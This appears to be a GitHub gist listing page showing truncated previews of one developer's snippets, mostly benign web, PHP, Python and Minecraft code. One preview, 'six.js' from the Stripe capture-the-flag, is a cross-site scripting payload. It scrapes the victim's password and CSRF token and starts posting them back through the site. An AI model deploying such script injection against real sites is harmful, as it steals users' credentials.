Skip to content

Instantly share code, notes, and snippets.

<?php
error_reporting(E_ALL);
var_dump(check_straight(array( '2c', '4d', 'as', 'ah', '5c' )) == false);
var_dump(check_straight(array( '6h', '2h', '4d', '6d', '2c' )) == false);
var_dump(check_straight(array( 'jc', '10d', 'qs', 'ah', 'kc' )) == true);
count_self();
function check_straight($hand) {
@davethegr8
davethegr8 / six.js
Created August 23, 2012 17:35
stripe ctf
$(function(){
var passUrl = location.href+/user_info/.source;
var postUrl = location.href+/ajax\posts/.source;
var csrf = $(/input/.source).first().val();
$.ajax({
url: passUrl,
success: function(data){
var pass = escape(/Password:<\/th>\s+<td>(.+)<\/td>/.exec(data)[1]);
$.ajax({
type: /POST/.source,
@davethegr8
davethegr8 / php-cs-fixer-pre-commit.php
Created September 4, 2012 18:17 — forked from mardix/php-cs-fixer-pre-commit.php
A pre-commit hook to make PHP code PSR-2 compliant, check for syntax error
#!/usr/bin/php
<?php
/**
* .git/hooks/pre-commit
*
* This pre-commit hooks will check for PHP error (lint), and make sure the code
* is PSR compliant.
*
* Dependecy: PHP-CS-Fixer (https://github.com/fabpot/PHP-CS-Fixer)
*
@davethegr8
davethegr8 / HTML5 Scratch Pad
Last active December 11, 2015 23:18
Bookmarklets I've made the scratch pad is from https://coderwall.com/p/lhsrcq
javascript:(function(){window.open('data:text/html,%20<html%20contenteditable>');})();
from PIL import Image
backgroundColor = (0,)*3
pixelSize = 9
image = Image.open('input.png')
image = image.resize((image.size[0]/pixelSize, image.size[1]/pixelSize), Image.NEAREST)
image = image.resize((image.size[0]*pixelSize, image.size[1]*pixelSize), Image.NEAREST)
pixel = image.load()
@davethegr8
davethegr8 / BatChannel.js
Last active December 28, 2015 11:19
BatChannel.js - a system for batching ajax requestsassumes (requires) that your server side code can handle routing the urls on it's own, and responds with something like this: { success: (true | false), ...other data.. }
//(c) 2013 Dave Poole zastica.com
//BatChannel.js - a system for batching ajax requests
//
//assumes (requires) that your server side code can handle
//routing the urls on it's own, and responds with something
//like this: { success: (true | false), ...other data.. }
var BatChannel = function(endpoint, interval) {
this.endpoint = endpoint;
this.pending = [];
module Jekyll
class LessCssFile < StaticFile
attr_accessor :styles
def destination(dest)
File.join(dest, @dir, @name.sub(/less$/, 'css'))
end
def write(dest)
dest_path = destination(dest)
@davethegr8
davethegr8 / ratio.less
Last active August 29, 2015 14:01
simple LESS mixin for typographic scales
// Based on the work of Tim Brown from http://alistapart.com/article/more-meaningful-typography
@fontRatioBase: 16; //In pixels
@fontRatioScale: 1.618;
.font-rem(@size) {
font-size: @size * @fontRatioBase * 1px;
font-size: @size * 1rem;
}
@davethegr8
davethegr8 / ee.js
Last active August 29, 2015 14:05
event emitters from the CJS2014 talk
var ee = createEE()
ee.emit('foo', [1, 2, 3])
ee.on('bar', function (a, b, c) {
console.log('bar: ' + a);
return b;
});
console.log('emit returned: ' + ee.emit('bar', [1, 2, 3]));
@davethegr8
davethegr8 / davethegr8.js
Created February 5, 2015 04:32
minecraft plugin
exports.greet = function( player ) {
echo( player, 'Hi ' + player.name);
}
var mine = {
house: function () {
var drone = box(blocks.brick.mossy,7,5,7);
drone.up().fwd(1).right(1);
drone.box(blocks.air,5,4,5);
},